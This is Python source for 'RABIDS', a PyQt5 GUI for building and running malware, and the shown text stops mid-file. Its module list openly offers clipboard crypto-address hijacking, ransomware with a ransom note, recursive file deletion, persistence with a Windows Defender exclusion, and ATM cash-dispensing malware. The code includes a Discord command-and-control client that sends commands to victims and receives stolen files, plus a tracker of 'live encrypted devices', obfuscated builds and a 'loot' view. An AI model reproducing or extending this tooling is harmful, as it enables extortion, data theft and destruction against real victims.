import sys
import os
from functools import partial
import re
import shlex
import subprocess
from pathlib import Path
import tempfile
from PyQt5.QtWidgets import (
    QApplication, QMainWindow, QWidget, QVBoxLayout, QHBoxLayout,
    QPushButton, QLineEdit, QComboBox, QCheckBox, QTextEdit, QLabel, QGroupBox,
    QTabWidget, QTableWidget, QTableWidgetItem, QHeaderView, QFileDialog, QListWidget, QScrollArea, QAbstractItemView,
    QListWidgetItem, QSizePolicy
)
import json
from PyQt5.QtGui import QFont, QPixmap, QMovie, QIcon
from PyQt5.QtCore import Qt, QThread, pyqtSignal, QObject, QTimer, QUrl
import discord
import asyncio

ASCII = r"""                                                                                                                                                                                                                         
"""

MODULES = {
    'module/ctrlvamp': {
        'desc': 'Hijacks clipboard crypto addresses (BTC, ETH, BEP-20, SOL).'
    },
    'module/dumpster': {
        'desc': 'Collects files from a directory and archives them into a single file.'
    },
    'module/ghostintheshell': {
        'desc': 'Provides a reverse shell over Discord for remote access.'
    },
    'module/krash': {
        'desc': 'Encrypts files in target directories and displays a ransom note.'
    },
    'module/poof': {
        'desc': 'Recursively deletes all files and folders from a target directory.'
    },
    'module/undeleteme': {
        'desc': 'Gains persistence and can add a Windows Defender exclusion.'
    },
    'module/byovf': {
        'desc': 'Bring your own Nim file and embed secondary files (e.g., drivers, DLLs).'
    },
    'module/bankruptsys': {
        'desc': 'An ATM malware module to dispense cash via XFS.'
    },
    'module/winkrashv2': {
        'desc': 'A ransomware module for Windows that uses direct syscalls.'
    }
}

def get_default_html_from_nim_file(file_path):
    """Extracts the defaultHtml const from the krash.nim file."""
    try:
        with open(file_path, 'r', encoding='utf-8') as f:
            content = f.read()
        match = re.search(r'const defaultHtml = """(.*?)"""', content, re.DOTALL)
        if match:
            return match.group(1).strip()
    except Exception as e:
        print(f"Could not read default HTML from {file_path}: {e}")
    return "YOUR_HTML_RANSOM_NOTE_CONTENT_HERE"

krash_module_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'MODULE', 'krash.nim')
DEFAULT_KRASH_HTML = get_default_html_from_nim_file(krash_module_path)

MODULE_OPTIONS = {
    'module/ctrlvamp': {
        'btcAddress': '1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa',
        'ethAddress': '0x1234567890abcdef1234567890abcdef12345678',
        'bep20Address': '0xabcdef1234567890abcdef1234567890abcdef12',
        'solAddress': '4k3Dyjzvzp8eMZWUXbBCjEvwSkkk59S5iCNLY3QrkX6R'
    },
    'module/dumpster': {
        'inputDir': '$HOME/Documents',
        'dumpsterFile': '$HOME/dumpster.dat'
    },
    'module/ghostintheshell': {
        'discordToken': 'YOUR_DISCORD_BOT_TOKEN',
        'creatorId': 'YOUR_DISCORD_USER_ID'
    },
    'module/krash': {
        'key': '0123456789abcdef0123456789abcdef',
        'iv': 'abcdef9876543210',
        'extension': '.locked',
        'targetDir': '$HOME/Documents',
        'htmlContent': DEFAULT_KRASH_HTML,
        'discordToken': 'YOUR_DISCORD_BOT_TOKEN',
        'creatorId': 'YOUR_DISCORD_USER_ID',
    },
    'module/poof': {
        'targetDir': '$HOME/Documents'
    },
    'module/undeleteme': {
        'persistence': 'true',
        'defenderExclusion': 'true'
    },
    'module/byovf': {
        'nimFile': 'path/to/your/module.nim',
        'embedFiles': 'path/to/driver.sys,path/to/cert.pem'
    },
    'module/bankruptsys': {
        'discordToken': 'YOUR_DISCORD_BOT_TOKEN',
        'creatorId': 'YOUR_DISCORD_USER_ID',
    },
    'module/winkrashv2': {
        'key': 'secret',
        'targetDir': '$HOME/Documents',
    }
}


class DiscordListener(QObject):
    device_status_update = pyqtSignal(str, str)

    def __init__(self, token, creator_id=None):
        super().__init__()
        self.token = token
        self.creator_id = creator_id
        intents = discord.Intents.default()
        intents.message_content = True
        self.client = discord.Client(intents=intents)

        @self.client.event
        async def on_ready():
            print(f'GUI Listener logged in as {self.client.user}')
            self.device_status_update.emit("SYSTEM", f"Connected to Discord as {self.client.user}")
            
            creator_found = False
            if self.creator_id:
                try:
                    creator = await self.client.fetch_user(int(self.creator_id))
                    if not creator:
                        self.device_status_update.emit("ERROR", f"Could not find creator with ID: {self.creator_id}")
                        return
                    self.device_status_update.emit("SYSTEM", f"Fetching DM history with {creator.name}...")
                    await self.fetch_history(creator)
                    creator_found = True
                except (ValueError, discord.NotFound):
                    self.device_status_update.emit("ERROR", f"Could not find creator with ID: {self.creator_id}")
                except discord.Forbidden:
                    self.device_status_update.emit("ERROR", "Bot does not have permission to fetch DM history.")
            
            if not creator_found:
                self.device_status_update.emit("SYSTEM", "No Creator ID provided or user not found. Only listening for new DMs.")

        @self.client.event
        async def on_message(message):
            is_dm = isinstance(message.channel, discord.DMChannel)
            is_from_creator = self.creator_id and str(message.author.id) == self.creator_id

            if is_dm and is_from_creator:
                self.process_encryption_message(message.content)

    async def fetch_history(self, user):
        """Fetches and processes historical messages from a user."""
        async for msg in user.history(limit=100):
            if ':' in msg.content and 'encryption complete' in msg.content.lower():
                self.process_encryption_message(msg.content)

    def process_encryption_message(self, content):
        if ':' in content and 'encryption complete' in content.lower():
            hostname = content.split(':', 1)[0].strip()
            self.device_status_update.emit(hostname, "Encrypted")

    async def run_client(self):
        try:
            await self.client.start(self.token)
        except discord.LoginFailure:
            self.device_status_update.emit("ERROR", "Discord login failed. Check the token.")

    async def stop_client(self):
        if self.client:
            await self.client.close()

class DiscordC2Client(QObject):
    """Handles Discord connection and communication for the C2 tab."""
    log_message = pyqtSignal(str, str)
    connection_status = pyqtSignal(bool)

    def __init__(self, token, target_user_id):
        super().__init__()
        self.token = token
        self.target_user_id = target_user_id
        self.target_user = None
        intents = discord.Intents.default()
        intents.messages = True
        intents.dm_messages = True
        intents.message_content = True
        self.client = discord.Client(intents=intents)

        @self.client.event
        async def on_ready():
            self.log_message.emit(f"C2 client logged in as {self.client.user}", "success")
            try:
                self.target_user = await self.client.fetch_user(int(self.target_user_id))
                self.log_message.emit(f"Connected to target user '{self.target_user.name}'.", "success")
                self.connection_status.emit(True)
            except (ValueError, discord.NotFound):
                self.log_message.emit(f"Could not find target user with ID: {self.target_user_id}", "error")
                await self.stop_client()
            except discord.Forbidden:
                self.log_message.emit("Bot does not have permission to fetch user.", "error")
                await self.stop_client()

        @self.client.event
        async def on_message(message):
            is_dm = isinstance(message.channel, discord.DMChannel)

            if is_dm:
                content = message.content.strip()
                if content:
                    if content.startswith("```") and content.endswith("```"):
                        content = re.sub(r"```(plaintext\n)?|```", "", content).strip()
                    self.log_message.emit(content, "c2_recv")
                if message.attachments:
                    for attachment in message.attachments:
                        self.log_message.emit(f"Received file: <a href='{attachment.url}'>{attachment.filename}</a>", "c2_recv")

    async def send_dm(self, content):
        if self.target_user:
            try:
                sent_content = content.strip()
                await self.target_user.send(sent_content)
                self.log_message.emit(sent_content, "c2_sent")
                return True
            except discord.Forbidden:
                self.log_message.emit("Cannot send DMs to this user. Check permissions.", "error")
                return False
            except Exception as e:
                self.log_message.emit(f"Failed to send DM: {str(e)}", "error")
                return False
        else:
            self.log_message.emit("Not connected to a target user.", "error")
            return False

    async def run_client(self):
        try:
            await self.client.start(self.token)
        except discord.LoginFailure:
            self.log_message.emit("C2 client login failed. Check the token.", "error")
            self.connection_status.emit(False)
        except Exception as e:
            self.log_message.emit(f"C2 client error: {str(e)}", "error")
            self.connection_status.emit(False)

    async def stop_client(self):
        if self.client and self.client.is_ready():
            await self.client.close()
            self.log_message.emit("C2 client disconnected.", "system")
        self.connection_status.emit(False)

class BuildThread(QThread):
    log_signal = pyqtSignal(str, str)
    finished_signal = pyqtSignal(int)

    def __init__(self, command):
        super().__init__()
        self.command = command

    def run(self):
        try:
            process = subprocess.Popen(
                self.command,
                stdout=subprocess.PIPE,
                stderr=subprocess.STDOUT,
                text=True,
                bufsize=1,
                universal_newlines=True,
                encoding='utf-8',
                errors='replace'
            )
            for line in iter(process.stdout.readline, ''):
                line = line.strip()
                msg_type = "system"
                if "[+]" in line:
                    msg_type = "success"
                elif "[Error]" in line or "compilation failed" in line.lower() or "failed with exit code" in line.lower():
                    msg_type = "error"
                self.log_signal.emit(line, msg_type)
            process.stdout.close()
            return_code = process.wait()
            self.finished_signal.emit(return_code)
        except FileNotFoundError:
            self.log_signal.emit("Error: A required command (like python or nim) was not found.", "error")
            self.finished_signal.emit(-1)
        except Exception as e:
            self.log_signal.emit(f"An unexpected error occurred during build: {e}", "error")
            self.finished_signal.emit(-1)

class DiscordListenerThread(QThread):
    device_status_update = pyqtSignal(str, str)

    def __init__(self, token, creator_id=None):
        super().__init__()
        self.token = token
        self.creator_id = creator_id
        self.listener = None
        self.loop = None

    def run(self):
        self.loop = asyncio.new_event_loop()
        asyncio.set_event_loop(self.loop)
        listener = DiscordListener(self.token, self.creator_id)
        listener.device_status_update.connect(self.device_status_update)
        self.listener = listener
        self.loop.run_until_complete(listener.run_client())

    def refresh_messages(self):
        if self.loop and self.listener and self.listener.client and self.listener.client.is_ready():
            if self.creator_id:
                async def do_refresh():
                    try:
                        creator = await self.listener.client.fetch_user(int(self.creator_id))
                        if creator:
                            self.device_status_update.emit("SYSTEM", f"Refreshing DM history with {creator.name}...")
                            await self.listener.fetch_history(creator)
                            self.device_status_update.emit("SYSTEM", "Refresh complete.")
                    except Exception as e:
                        self.device_status_update.emit("ERROR", f"Failed to refresh: {e}")
                
                self.loop.call_soon_threadsafe(self.loop.create_task, do_refresh())

    def stop(self):
        if self.loop and self.listener:
            self.loop.call_soon_threadsafe(self.loop.create_task, self.listener.stop_client())
            self.device_status_update.emit("SYSTEM", "Disconnected from Discord.")

class C2Thread(QThread):
    """Runs the Discord C2 client in a separate thread."""
    log_message = pyqtSignal(str, str)
    connection_status = pyqtSignal(bool)

    def __init__(self, token, target_user_id):
        super().__init__()
        self.token = token
        self.target_user_id = target_user_id
        self.c2_client = None
        self.loop = None

    def run(self):
        self.loop = asyncio.new_event_loop()
        asyncio.set_event_loop(self.loop)
        self.c2_client = DiscordC2Client(self.token, self.target_user_id)
        self.c2_client.log_message.connect(self.log_message)
        self.c2_client.connection_status.connect(self.connection_status)
        self.loop.run_until_complete(self.c2_client.run_client())

    def send_message(self, content):
        if self.loop and self.c2_client and self.c2_client.client.is_ready():
            asyncio.run_coroutine_threadsafe(self.c2_client.send_dm(content), self.loop)

    def stop(self):
        if self.loop and self.c2_client:
            asyncio.run_coroutine_threadsafe(self.c2_client.stop_client(), self.loop)

class DependencyInstallerThread(QThread):
    log_signal = pyqtSignal(str, str)
    finished_signal = pyqtSignal()
    
    def __init__(self, commands, parent=None):
        super().__init__(parent)
        self.commands = commands

    def run(self):
        for cmd in self.commands:
            self.run_command(cmd)
        self.finished_signal.emit()

    def run_command(self, cmd):
        # If cmd is a string, it's a shell command. Otherwise, it's a list of args.
        is_shell_command = isinstance(cmd, str)
        command_str = cmd if is_shell_command else ' '.join(shlex.quote(c) for c in cmd)

        self.log_signal.emit(f"[*] Running: {command_str}", "system")
        try:
            output = subprocess.check_output(
                cmd,
                stderr=subprocess.STDOUT, text=True, encoding='utf-8', errors='replace',
                shell=is_shell_command  # Use shell=True only for string commands
            )
            for line in output.splitlines():
                self.log_signal.emit(line.strip(), "system")
            self.log_signal.emit(f"[+] Command finished successfully.", "success")
        except FileNotFoundError:
            cmd_name = cmd.split()[0] if is_shell_command else cmd[0]
            self.log_signal.emit(f"[Error] Command '{cmd_name}' not found. Please ensure it is installed and in your PATH.", "error")
        except subprocess.CalledProcessError as e:
            self.log_signal.emit(f"[-] Command failed with exit code {e.returncode}. Output:", "error")
            for line in e.output.splitlines():
                self.log_signal.emit(line.strip(), "error")

class ModuleTableWidget(QTableWidget):
    """A QTableWidget that supports drag-and-drop row reordering."""
    reorder_signal = pyqtSignal(list)

    def __init__(self, parent=None):
        super().__init__(parent)
        self.setDragDropMode(QAbstractItemView.InternalMove)
        self.setSelectionBehavior(QAbstractItemView.SelectRows)
        self.setSelectionMode(QAbstractItemView.SingleSelection)

    def dropEvent(self, event):
        if event.source() == self and (event.dropAction() == Qt.MoveAction or self.dragDropMode() == QAbstractItemView.InternalMove):
            source_row = self.selectionModel().currentIndex().row()
            dest_row = self.indexAt(event.pos()).row()
            if dest_row == -1:
                dest_row = self.rowCount() -1

            current_order = []
            for row in range(self.rowCount()):
                item = self.item(row, 0)
                if item and item.data(Qt.UserRole):
                    current_order.append(item.data(Qt.UserRole))
            
            moved_item = current_order.pop(source_row)
            current_order.insert(dest_row, moved_item)

            self.reorder_signal.emit(current_order)
            event.accept()
            event.setDropAction(Qt.IgnoreAction)
        else:
            super().dropEvent(event)

class RABIDSGUI(QMainWindow):
    def __init__(self):
        super().__init__()
        self.setWindowTitle("RABIDS")
        self.script_dir = os.path.dirname(os.path.abspath(__file__))
        self.setGeometry(100, 100, 1000, 800)
        self.setWindowIcon(QIcon(os.path.join(self.script_dir, "ASSETS", "icon.png")))
        self.selected_modules = []
        self.loading_movie = None
        self.build_thread = None
        self.discord_thread = None
        self.c2_thread = None
        self.installer_thread = None
        self.option_inputs = {}
        self.current_option_values = {}
        self.module_options_group = None
        self.loot_files_list = None
        self.init_ui()
        self.load_settings()

    def init_ui(self):
        self.setStyleSheet("""
        QMainWindow, QWidget {
            background-color: #111113;
            color: #e0e0e0;
        }
        QPushButton {
            background-color: #1D1D1F;
            padding: 6px;
            font-size: 10pt;
            border-radius: 10px;
        }
        QPushButton:hover {
            background-color: #2a2a2e;
        }
        QPushButton:pressed {
            background-color: #3c3c40;
        }
        QLineEdit, QComboBox, QCheckBox {
            font-weight: normal;
            padding: 4px;
            border-radius: 5px;
            background-color: #1D1D1F;
        }
        QGroupBox {
            border: none;
            margin-top: 10px;
            padding-top: 10px;
            font-weight: bold;
        }
        QGroupBox::title {
            subcontrol-origin: margin;
            left: 10px;
        }
        QTabWidget::pane {
            padding: 0;
            margin: 0;
            border: none;
        }
        QTabBar::tab {
            background: #1D1D1F;
            color: #e0e0e0;
            padding: 6px;
            border-radius: 10px;
            margin-right: 4px;
        }
        QTabBar::tab:selected {
            background: #2a2a2e;
            color: white;
        }
        QFrame {
            border: none;
        }
        """)

        central_widget = QWidget()
        self.setCentralWidget(central_widget)
        main_layout = QVBoxLayout(central_widget)

        self.tab_widget = QTabWidget()
        self.tab_widget.currentChanged.connect(self.on_tab_changed)
        main_layout.addWidget(self.tab_widget)

        builder_widget = QWidget()
        builder_layout = QHBoxLayout(builder_widget)

        title_font = QFont()
        title_font.setBold(True)
        title_font.setPointSize(12)
        subtitle_font = QFont()
        subtitle_font.setPointSize(10)

        left_layout = QVBoxLayout()

        self.module_options_group = QGroupBox("MODULE OPTIONS")
        self.module_options_group.setFont(title_font)
        module_options_group_layout = QVBoxLayout(self.module_options_group)

        scroll_area = QScrollArea()
        scroll_area.setWidgetResizable(True)
        scroll_area.setStyleSheet("QScrollArea { border: none; }")
        scroll_area.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOff)
        scroll_area.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)

        scroll_content_widget = QWidget()
        self.options_layout = QVBoxLayout(scroll_content_widget)

        scroll_area.setWidget(scroll_content_widget)
        module_options_group_layout.addWidget(scroll_area)
        left_layout.addWidget(self.module_options_group, stretch=7)
        
        build_options_group = QGroupBox("BUILD OPTIONS")
        build_options_group.setFont(title_font)
        build_options_layout = QVBoxLayout(build_options_group)
        build_options_layout.setSpacing(10)

        exe_name_layout = QHBoxLayout()
        exe_name_label = QLabel("EXE NAME")
        exe_name_label.setFont(subtitle_font)
        self.exe_name_input = QLineEdit("payload")
        self.exe_name_input.setFont(subtitle_font)
        exe_name_layout.addWidget(exe_name_label)
        exe_name_layout.addWidget(self.exe_name_input, 1)

        target_os_label = QLabel("OS")
        target_os_label.setFont(subtitle_font) 
        self.target_os_combo = QComboBox()
        self.target_os_combo.addItems(["windows", "linux", "macos"])
        self.target_os_combo.setFont(subtitle_font)
        self.target_os_combo.currentTextChanged.connect(self.update_windows_only_options)
        exe_name_layout.addWidget(target_os_label)
        exe_name_layout.addWidget(self.target_os_combo, 1)
        target_arch_label = QLabel("PROCESSOR")
        target_arch_label.setFont(subtitle_font)
        self.target_arch_combo = QComboBox()
        self.target_arch_combo.addItems(["amd64", "arm64"])
        self.target_arch_combo.setFont(subtitle_font)
        exe_name_layout.addWidget(target_arch_label)
        exe_name_layout.addWidget(self.target_arch_combo, 1)
        build_options_layout.addLayout(exe_name_layout)

        win_options_layout = QHBoxLayout()
        self.hide_console_check = QCheckBox("HIDE CONSOLE")
        self.hide_console_check.setFont(subtitle_font)
        self.hide_console_check.setChecked(True)
        win_options_layout.addWidget(self.hide_console_check)

        self.obfuscate_check = QCheckBox("OBFUSCATE")
        self.obfuscate_check.setFont(subtitle_font)
        self.obfuscate_check.setChecked(False)
        self.obfuscate_check.stateChanged.connect(self.toggle_obfuscation)
        win_options_layout.addWidget(self.obfuscate_check)

        self.ollvm_input = QLineEdit("")
        self.ollvm_input.setPlaceholderText("e.g., -fla -sub -bcf")
        self.ollvm_input.setFont(subtitle_font)
        win_options_layout.addWidget(self.ollvm_input, 1)
        build_options_layout.addLayout(win_options_layout)
        
        left_layout.addWidget(build_options_group)

        build_btn_layout = QHBoxLayout()
        self.build_btn = QPushButton("BUILD")
        self.build_btn.setFont(subtitle_font)
        self.build_btn.clicked.connect(self.run_compiler)
        build_btn_layout.addWidget(self.build_btn)
        left_layout.addLayout(build_btn_layout)

        banner_layout = QHBoxLayout()
        self.banner_label = QLabel("Banner Placeholder")
        self.banner_label.setFont(subtitle_font)
        banner_path = os.path.join(self.script_dir, "ASSETS", "banner.png")
        movie = QMovie(banner_path)
        if movie.isValid():
            self.banner_label.setMovie(movie)
            movie.start()
        self.banner_label.setFixedHeight(50)
        self.banner_label.setAlignment(Qt.AlignCenter)
        banner_layout.addWidget(self.banner_label, stretch=1)
        left_layout.addLayout(banner_layout)
        builder_layout.addLayout(left_layout, 6)

        right_layout = QVBoxLayout()
        module_select_layout = QVBoxLayout()
        module_select_layout.setContentsMargins(0, 12, 0, 0)
        module_label = QLabel("MODULES")
        module_label.setFont(title_font)
        module_select_layout.addWidget(module_label)
        self.module_combo = QComboBox()
        self.module_combo.setFont(subtitle_font)
        self.module_combo.addItem("SELECT MODULE")
        for module in MODULES.keys():
            self.module_combo.addItem(module.split('/')[-1])
        self.module_combo.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Fixed)
        module_select_layout.addWidget(self.module_combo)

        module_buttons_layout = QHBoxLayout()
        self.add_module_btn = QPushButton("ADD MODULE")
        self.add_module_btn.setFont(subtitle_font)
        self.add_module_btn.clicked.connect(self.add_module)
        module_buttons_layout.addWidget(self.add_module_btn)
        module_select_layout.addLayout(module_buttons_layout)
        right_layout.addLayout(module_select_layout)

        module_chain_label = QLabel("MODULE CHAIN")
        module_chain_label.setFont(title_font)
        right_layout.addWidget(module_chain_label)
        self.module_table = ModuleTableWidget()
        self.module_table.setFont(subtitle_font)
        self.module_table.setColumnCount(2)
        self.module_table.setHorizontalHeaderLabels(["Module", ""])
        self.module_table.horizontalHeader().setSectionResizeMode(0, QHeaderView.Stretch)
        self.module_table.setColumnWidth(1, 50)
        self.module_table.setStyleSheet("background-color: #111113;")
        self.module_table.reorder_signal.connect(self.reorder_modules)
        right_layout.addWidget(self.module_table)
        self.module_table.itemClicked.connect(self.on_module_item_clicked)

        builder_layout.addLayout(right_layout, 4)

        output_widget = QWidget()
        output_layout = QVBoxLayout(output_widget)
        output_layout.setContentsMargins(15, 15, 15, 15)
        self.output_log = QTextEdit()
        self.output_log.setFont(subtitle_font)
        self.output_log.setReadOnly(True)
        self.output_log.setPlaceholderText(ASCII)
        self.output_log.setStyleSheet("background-color: #111113; color: #00A9FD;")
        output_layout.addWidget(self.output_log, 3)

        loot_section_layout = QHBoxLayout()

        folder_icon_label = QLabel()
        folder_icon_path = os.path.join(self.script_dir, "ASSETS", "folder.png")
        pixmap = QPixmap(folder_icon_path)
        if not pixmap.isNull():
            folder_icon_label.setPixmap(pixmap.scaled(200, 200, Qt.KeepAspectRatio, Qt.SmoothTransformation))
        folder_icon_label.setAlignment(Qt.AlignCenter)
        loot_section_layout.addWidget(folder_icon_label, 2)

        loot_content_widget = QWidget()
        loot_content_layout = QVBoxLayout(loot_content_widget)
        loot_content_layout.setContentsMargins(0, 0, 0, 0)

        loot_header_layout = QHBoxLayout()
        loot_label = QLabel("LOOT")
        loot_label.setFont(title_font)
        loot_header_layout.addWidget(loot_label)
        loot_header_layout.addStretch()
        refresh_loot_btn = QPushButton("⟳ Refresh")
        refresh_loot_btn.clicked.connect(self.update_loot_folder_view)
        loot_header_layout.addWidget(refresh_loot_btn)
        open_loot_btn = QPushButton("Open Folder")
        open_loot_btn.clicked.connect(self.open_loot_folder)
        loot_header_layout.addWidget(open_loot_btn)
        loot_content_layout.addLayout(loot_header_layout)

        self.loot_files_list = QListWidget()
        self.loot_files_list.setFont(subtitle_font)
        self.loot_files_list.setStyleSheet("background-color: #1D1D1F;")
        loot_content_layout.addWidget(self.loot_files_list)

        loot_section_layout.addWidget(loot_content_widget, 8)
        output_layout.addLayout(loot_section_layout, 1)

        docs_widget = QWidget()
        docs_layout = QVBoxLayout(docs_widget)
        docs_layout.setContentsMargins(15, 15, 15, 15)

        docs_text = QTextEdit()
        docs_text.setFont(subtitle_font)
        docs_text.setReadOnly(True)

        doc_path = os.path.join(self.script_dir, "DOC.md")
        try:
            with open(doc_path, 'r', encoding='utf-8') as f:
                doc_content = f.read()
            docs_text.setMarkdown(doc_content)
        except FileNotFoundError:
            docs_text.setText("Error: DOCUMENTATION.md not found.")

        docs_text.setStyleSheet("background-color: #111113;")
        docs_layout.addWidget(docs_text)

        garbage_collector_widget = QWidget()
        garbage_collector_layout = QVBoxLayout(garbage_collector_widget)
        garbage_collector_layout.setContentsMargins(15, 15, 15, 15)
        garbage_collector_layout.setSpacing(15)

        top_widget = QWidget()
        top_layout = QHBoxLayout(top_widget)

        icon_label = QLabel()
        icon_path = os.path.join(self.script_dir, "ASSETS", "garbage.png")
        pixmap = QPixmap(icon_path)
        if not pixmap.isNull():
            icon_label.setPixmap(pixmap.scaled(300, 300, Qt.KeepAspectRatio, Qt.SmoothTransformation))
        icon_label.setAlignment(Qt.AlignCenter)
        top_layout.addWidget(icon_label, 3)

        restore_options_group = QGroupBox("RESTORE FILES FROM DUMPSTER")
        restore_options_group.setFont(title_font)
        restore_options_layout = QVBoxLayout(restore_options_group)

        desc_label = QLabel("Select a dumpster file and a destination directory to restore its contents.\nCopy all the desired files you want from victim's system")
        desc_label.setFont(subtitle_font)
        desc_label.setStyleSheet("color: #00B85B;")
        desc_label.setWordWrap(True)
        restore_options_layout.addWidget(desc_label)

        dumpster_file_label = QLabel("Dumpster File Path")
        dumpster_file_label.setFont(subtitle_font)
        dumpster_file_label.setStyleSheet("color: #93dbb6;")
        dumpster_file_layout = QHBoxLayout()
        self.restore_dumpster_file_edit = QLineEdit()
        dumpster_file_btn = QPushButton("Browse...")
        dumpster_file_btn.clicked.connect(lambda: self.browse_open_file(self.restore_dumpster_file_edit))
        dumpster_file_layout.addWidget(dumpster_file_label)
        dumpster_file_layout.addWidget(self.restore_dumpster_file_edit)
        dumpster_file_layout.addWidget(dumpster_file_btn)
        restore_options_layout.addLayout(dumpster_file_layout)

        output_dir_label = QLabel("Destination Directory")
        output_dir_label.setFont(subtitle_font)
        output_dir_label.setStyleSheet("color: #93dbb6;")
        output_dir_layout = QHBoxLayout()
        self.restore_output_dir_edit = QLineEdit()
        output_dir_btn = QPushButton("Browse...")
        output_dir_btn.clicked.connect(lambda: self.browse_directory(self.restore_output_dir_edit))
        output_dir_layout.addWidget(output_dir_label)
        output_dir_layout.addWidget(self.restore_output_dir_edit)
        output_dir_layout.addWidget(output_dir_btn)
        restore_options_layout.addLayout(output_dir_layout)

        restore_btn = QPushButton("Restore")
        restore_btn.setFont(subtitle_font)
        restore_btn.clicked.connect(self.run_garbage_collector_restore)
        restore_options_layout.addWidget(restore_btn)
        restore_options_layout.addStretch()
        top_layout.addWidget(restore_options_group, 7)

        bottom_widget = QWidget()
        bottom_layout = QVBoxLayout(bottom_widget)

        dest_folder_group = QGroupBox()
        dest_folder_layout = QVBoxLayout(dest_folder_group)

        dest_header_layout = QHBoxLayout()
        refresh_dest_btn = QPushButton("⟳ Refresh")
        refresh_dest_btn.clicked.connect(self.update_restore_destination_view)
        dest_header_layout.addWidget(refresh_dest_btn, 0, Qt.AlignRight)
        dest_folder_layout.addLayout(dest_header_layout)

        self.restore_dest_files_list = QListWidget()
        self.restore_dest_files_list.setFont(subtitle_font)
        self.restore_dest_files_list.setStyleSheet("background-color: #1D1D1F;")
        dest_folder_layout.addWidget(self.restore_dest_files_list)
        bottom_layout.addWidget(dest_folder_group)

        garbage_collector_layout.addWidget(top_widget, 4)
        garbage_collector_layout.addWidget(bottom_widget, 6)

        uncrash_widget = QWidget()
        uncrash_layout = QVBoxLayout(uncrash_widget)
        uncrash_layout.setContentsMargins(15, 15, 15, 15)
        uncrash_layout.setSpacing(15)

        uncrash_options_group = QGroupBox("DECRYPTOR")
        uncrash_options_group.setFont(title_font)
        uncrash_options_layout = QVBoxLayout(uncrash_options_group)

        uncrash_desc_label = QLabel("Build a standalone decryptor for files encrypted by the 'krash' module.\nEnsure the Key and IV match the ones used for encryption.")
        uncrash_desc_label.setFont(subtitle_font)
        uncrash_desc_label.setStyleSheet("color: #FFF200;")
        uncrash_desc_label.setWordWrap(True)
        uncrash_options_layout.addWidget(uncrash_desc_label)
        uncrash_options_layout.addSpacing(10)

        key_layout = QHBoxLayout()
        key_label = QLabel("Key")
        key_label.setFont(subtitle_font)
        key_label.setStyleSheet("color: #f7f294;")
        self.uncrash_key_edit = QLineEdit("0123456789abcdef0123456789abcdef")
        self.uncrash_key_edit.setFont(subtitle_font)
        key_layout.addWidget(key_label)
        key_layout.addWidget(self.uncrash_key_edit)
        uncrash_options_layout.addLayout(key_layout)

        iv_layout = QHBoxLayout()
        iv_label = QLabel("IV")
        iv_label.setFont(subtitle_font)
        iv_label.setStyleSheet("color: #f7f294;")
        self.uncrash_iv_edit = QLineEdit("abcdef9876543210")
        self.uncrash_iv_edit.setFont(subtitle_font)
        iv_layout.addWidget(iv_label)
        iv_layout.addWidget(self.uncrash_iv_edit)
        uncrash_options_layout.addLayout(iv_layout)

        ext_layout = QHBoxLayout()
        ext_label = QLabel("Extension")
        ext_label.setFont(subtitle_font)
        ext_label.setStyleSheet("color: #f7f294;")
        self.uncrash_ext_edit = QLineEdit(".locked")
        self.uncrash_ext_edit.setFont(subtitle_font)
        ext_layout.addWidget(ext_label)
        ext_layout.addWidget(self.uncrash_ext_edit)
        uncrash_options_layout.addLayout(ext_layout)

        uncrash_build_options_layout = QHBoxLayout()
        uncrash_exe_label = QLabel("EXE Name")
        uncrash_exe_label.setFont(subtitle_font)
        uncrash_exe_label.setStyleSheet("color: #f7f294;")
        self.uncrash_exe_name_edit = QLineEdit("decryptor")
        uncrash_os_label = QLabel("OS")
        uncrash_os_label.setFont(subtitle_font) 
        self.uncrash_os_combo = QComboBox()
        self.uncrash_os_combo.addItems(["windows", "linux", "macos"])
        uncrash_arch_label = QLabel("Processor")
        uncrash_arch_label.setFont(subtitle_font)
        self.uncrash_arch_combo = QComboBox()
        self.uncrash_arch_combo.addItems(["amd64", "arm64"])
        uncrash_build_options_layout.addWidget(uncrash_exe_label)
        uncrash_build_options_layout.addWidget(self.uncrash_exe_name_edit, 1)
        uncrash_build_options_layout.addWidget(uncrash_os_label)
        uncrash_build_options_layout.addWidget(self.uncrash_os_combo, 1)
        uncrash_build_options_layout.addWidget(uncrash_arch_label)
        uncrash_build_options_layout.addWidget(self.uncrash_arch_combo, 1)
        uncrash_options_layout.addLayout(uncrash_build_options_layout)

        self.uncrash_build_btn = QPushButton("BUILD DECRYPTOR")
        self.uncrash_build_btn.setFont(subtitle_font)
        self.uncrash_build_btn.clicked.connect(self.run_uncrash_compiler)
        uncrash_options_layout.addWidget(self.uncrash_build_btn)

        uncrash_options_layout.addStretch()
        uncrash_layout.addWidget(uncrash_options_group)

        bottom_section_layout = QHBoxLayout()

        left_column_widget = QWidget()
        left_column_layout = QVBoxLayout(left_column_widget)
        
        devices_header_layout = QHBoxLayout()
        encrypted_devices_label = QLabel("LIVE ENCRYPTED DEVICES")
        encrypted_devices_label.setFont(title_font)
        devices_header_layout.addWidget(encrypted_devices_label)
        devices_header_layout.addStretch()
        left_column_layout.addLayout(devices_header_layout)

        live_devices_desc_label = QLabel("This panel displays a live list of devices successfully encrypted by the 'krash' module.\n"
                                         "Devices appear here after reporting back via the Discord listener.")
        live_devices_desc_label.setFont(subtitle_font)
        live_devices_desc_label.setStyleSheet("color: #FFF100;")
        live_devices_desc_label.setWordWrap(True)
        left_column_layout.addWidget(live_devices_desc_label)

        listener_controls_layout = QHBoxLayout()
        self.toggle_listener_btn = QPushButton("Connect")
        self.toggle_listener_btn.setFont(subtitle_font)
        self.toggle_listener_btn.clicked.connect(self.toggle_discord_listener)
        self.refresh_listener_btn = QPushButton("⟳ Refresh")
        self.refresh_listener_btn.setFont(subtitle_font)
        self.refresh_listener_btn.clicked.connect(self.refresh_discord_listener)
        listener_controls_layout.addStretch()
        listener_controls_layout.addWidget(self.refresh_listener_btn)
        listener_controls_layout.addWidget(self.toggle_listener_btn)
        left_column_layout.addLayout(listener_controls_layout)

        self.encrypted_devices_table = QTableWidget()
        self.encrypted_devices_table.setColumnCount(1)
        self.encrypted_devices_table.setHorizontalHeaderLabels(["Device"])
        self.encrypted_devices_table.horizontalHeader().setSectionResizeMode(0, QHeaderView.Stretch)

        left_column_layout.addWidget(self.encrypted_devices_table)
        
